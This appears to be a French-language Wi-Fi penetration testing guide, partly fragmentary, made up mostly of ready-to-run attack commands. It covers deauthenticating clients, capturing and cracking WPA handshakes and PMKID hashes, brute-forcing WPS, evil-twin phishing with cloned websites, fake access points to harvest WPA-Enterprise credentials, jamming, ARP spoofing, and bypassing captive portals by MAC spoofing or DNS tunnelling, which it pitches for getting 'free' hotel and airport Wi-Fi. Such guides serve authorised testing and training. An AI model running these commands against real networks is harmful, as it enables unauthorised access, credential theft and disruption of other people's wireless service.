
Guide de tests d'intrusion Wi-Fi
2.1. Portails captifs
3.1. Sans clients
4.1. Craquage du 4-way-handshake
4.2. Attaque PMKID
4.3. Attaque sans AP
6.1. Krack Attack et Frag Attack
6.2. OSINT
6.3. Brouillage WiFi
6.4. Autres frameworks
7.1. Attaque du routeur
7.2. Types de scanners
7.3. Spoofing
VARIABLE=value
iwconfig $IFACE
ifconfig $IFACE
airmon-ng check kill
ifconfig $IFACE down
iwconfig $IFACE mode monitor
ifconfig $IFACE up
Activer le mode monitor
Lancer Airodump-ng
airodump-ng $IFACE -c $CHANNEL -e $ESSID
aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC -c $CLIENT_MAC $IFACE
aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC $IFACE
Listez les réseaux avec Airodump-ng et récupérez l'adresse MAC du point d'accès ($AP_MAC) et celle d'un client ($CLIENT_MAC). Ne stoppez pas la capture.
Dans un autre terminal, désauthentifiez un client ou tous. Quand Airodump-ng capture un handshake de ce réseau, le nom ou ESSID apparaîtra dans le premier terminal :
aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC -c $CLIENT_MAC $IFACE
Listez les réseaux avec Airodump-ng et récupérez l'adresse MAC du point d'accès ($AP_MAC) et celle d'un client ($CLIENT_MAC). Ne stoppez pas la capture.
2.a. Exécuter une attaque par dictionnaire
mdk3 $IFACE p -t $AP_MAC -f $DICTIONARY_PATH
2.b. Ou exécuter une attaque par force brute
mdk3 $IFACE p -t $AP_MAC -с $AP_CHANNEL -b $CHARACTER_SET
Pour le jeu de caractères, il est possible d'utiliser l (lettres minuscules), u (lettres majuscules), n (chiffres), c (minuscules+majuscules), m (minuscules+majuscules+chiffres) ou a (tous les caractères imprimables).
Cloner un site web avec HTTrack
Installer Wifiphiser. Ajouter le résultat de HTTrack dans un nouveau dossier dans wifiphisher/data/phishing-pages/new_page/html et un fichier de configuration dans wifiphisher/data/phishing-pages/new_page/config.ini.
Recompiler le projet avec python setup.py install ou le binaire dans bin.
Cette commande fonctionne correctement dans la dernière version de Kali après avoir installé hostapd :
cd bin && ./wifiphisher -aI $IFACE -e $ESSID --force-hostapd -p $PLUGIN -nE
La première méthode pour contourner un portail captif consiste à changer votre adresse MAC pour celle d'un utilisateur déjà authentifié.
macchanger
Un script personnalisé comme celui-ci(Bash)
Vous pouvez aussi utiliser des scripts pour automatiser le processus comme :
Une seconde méthode consiste à créer un tunnel DNS. Pour cela, il est nécessaire de posséder un serveur DNS accessible. Vous pouvez utiliser cette méthode pour contourner le portail captif et obtenir un WiFi "gratuit" dans les hôtels, aéroports...
nslookup example.com
Un "enregistrement A" : dns.$DOMAIN pointant vers $SERVER_IP (Exemple : dns.domain.com 139.59.172.117)
Un "enregistrement NS" : hack.$DOMAIN pointant vers dns.$DOMAIN (Exemple : hack.domain.com dns.domain.com)
iodined -f -c -P $PASS -n $SERVER_IP 10.0.0.1 hack.$DOMAIN
Vérifiez si cela fonctionne correctement sur ce site
Exécution sur le client
iodine -f -P $PASS $DNS_SERVER_IP hack.$DOMAIN
ssh -D 8080 [email protected]
Une fois connecté au réseau, vous pouvez tester s'il est vulnérable aux attaques Man in the Middle.
Attaque ARP Spoofing avec Ettercap
Sniffez le trafic avec Wireshark ou TCPdump
Analysez le trafic avec PCredz (Linux) ou Network Miner (Windows)
airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $PCAP_FILE $IFACE
aireplay-ng -1 0 -e $AP_NAME -a $AP_MAC -h $MY_MAC $IFACE
aireplay-ng -3 -b $AP_MAC -h $MY_MAC $IFACE
aireplay-ng -0 1 -a $AP_MAC -c $STATION_MAC $IFACE
aircrack-ng $PCAP_FILE
airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $PCAP_FILE $IFACE
aireplay-ng -0 1 -a $AP_MAC -c $STATION_MAC $IFACE
aircrack-ng -w $WORDLIST capture.cap
Vous pouvez obtenir des listes de mots ici.
pyrit -r $PCAP_FILE analyze
pyrit -r $PCAP_FILE -o $CLEAN_PCAP_FILE strip
pyrit -i $WORDLIST import_passwords
pyrit eval
pyrit batch
pyrit -r $CLEAN_PCAP_FILE attack_db
Vous pouvez utiliser ce script ou suivre ces étapes :
Installer Hcxdumptool et Hcxtool (vous pouvez utiliser ce script).
Arrêter Network Manager
airmon-ng check kill
3a. Si vous voulez attaquer une adresse MAC spécifique
echo $MAC | sed 's/://g' > $FILTER_FILE
hcxdumptool -i $IFACE -o $PCAPNG_FILE --enable_status=1 --filterlist=$FILTER_FILE --filtermode=2
hcxpcaptool -z $HASH_FILE $PCAPNG_FILE
La structure de chaque ligne est : PMKID * MAC ROUTEUR * STATION * ESSID (vérifiez sur : https://www.rapidtables.com/convert/number/hex-to-ascii.html)
hashcat -a 0 -m 16800 $HASH_FILE $WORDLIST --force
Si vous avez accès à un appareil client avec la connexion WiFi activée mais qu'aucun réseau n'est présent, vous pouvez toujours attaquer ce réseau si l'appareil client s'y est déjà connecté auparavant.
Pour cela, vous devez créer un faux point d'accès avec hostapd en utilisant un fichier de configuration comme celui-ci, avec un mot de passe quelconque mais le même nom de réseau. Créez le faux réseau, l'appareil client tentera de s'y connecter et vous obtiendrez le 4-way handshake comme dans la section 4.1 de ce guide.
Si vous ne souhaitez pas utiliser la machine virtuelle, vous pouvez tout installer avec :
git clone https://github.com/ricardojoserf/WPA_Enterprise_Attack
cd WPA_Enterprise_Attack && sudo sh install.sh
Démarrez le point d'accès avec :
sh freeradius_wpe_init.sh $AP_NAME $INTERFACE
Quand un client se connecte, lisez les logs avec :
sh freeradius_wpe_read.sh
sh hostapd_wpe_init.sh $AP_NAME $INTERFACE
Trouver les méthodes EAP supportées
Ce sont deux attaques avancées découvertes par le grand Mathy Vanhoef :
Krack Attack Scripts - Expliqué sur ce site web
Frag Attack Scripts - Expliqué sur ce site web
Un exemple pour désauthentifier tous les appareils sauf un faux point d'accès :
sudo ./wifijammer -i $IFACE -s $FAKE_AP_MAC
Linux :
Windows :
Une fois connecté au réseau
Nmap/Zenmap - Scanner de sécurité, scanner de ports et outil d'exploration réseau
Masscan - La version plus rapide de nmap (il peut casser des choses, soyez donc prudent)
Netdiscover - Sniffing ARP. Très utile si les réseaux sont très segmentés
| Système d'exploitation | Plateforme | Identifiants | Taille | Lien |
|---|
| Ubuntu 16.04.5 | VMware | ricardojoserf:wifi | 3.25 Go | MEGA |
| Kali 2019.1 | VMware | root:wifi | 4.99 Go | MEGA |
| Ubuntu 16.04.5 | VirtualBox (OVA) | ricardojoserf:wifi | 3.18 Go | MEGA |
| Kali 2019.1 | VirtualBox (OVA) | root:wifi | 5.56 Go | MEGA |